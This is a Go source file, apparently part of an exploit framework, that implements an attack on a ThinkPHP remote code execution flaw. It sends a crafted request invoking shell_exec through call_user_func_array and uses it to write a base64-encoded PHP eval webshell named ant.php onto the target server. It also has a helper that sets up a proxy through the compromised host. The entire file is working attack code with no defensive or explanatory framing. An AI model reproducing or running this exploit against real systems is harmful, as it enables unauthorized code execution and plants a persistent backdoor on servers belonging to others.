package payload

import (
	"encoding/base64"
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"strings"
	"time"

	"github.com/jstang9527/gofor/src/share/proxy"
	"github.com/jstang9527/gofor/src/srv-exploit/files"
)

type VUL_2021_04271 struct {
	target string // "http://127.0.0.1:8080"
	uri    string // "/index.php?page=2&id=2"
	client *http.Client
	stype  files.ShellType
}

func NewVUL_2021_04271(target string) *VUL_2021_04271 {
	return &VUL_2021_04271{
		target: target,
		uri:    `/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=`,
		client: &http.Client{Timeout: time.Second * 30},
		stype:  files.PHPWebShell,
	}
}

// 上传webshell
func (r *VUL_2021_04271) Attack() error {
	content := base64.StdEncoding.EncodeToString([]byte(files.NewWebShell(r.stype).MenuDisplay()))
	fmt.Println(content) // PD9waHAgZXZhbCgkX1BPU1RbYW50XSk7ID8+
	cmdPerfix := url.PathEscape("echo ")
	cmdSuffix := url.PathEscape(" | base64 -d > ant.php")
	cmd := fmt.Sprintf("%v%v%v", cmdPerfix, strings.ReplaceAll(content, "+", "%2B"), cmdSuffix)
	api := fmt.Sprintf(`%v%v%v`, r.target, r.uri, cmd)
	fmt.Println("2000", api)
	req, err := http.NewRequest("GET", api, nil)
	if err != nil {
		return err
	}
	req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36")
	resp, err := r.client.Do(req)
	if err != nil {
		return err
	}
	defer resp.Body.Close()
	text, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return err
	}
	fmt.Println(string(text))
	return nil
}

func (r *VUL_2021_04271) CreateProxy() (string, error) {
	return proxy.NewProxy(r.target)
}
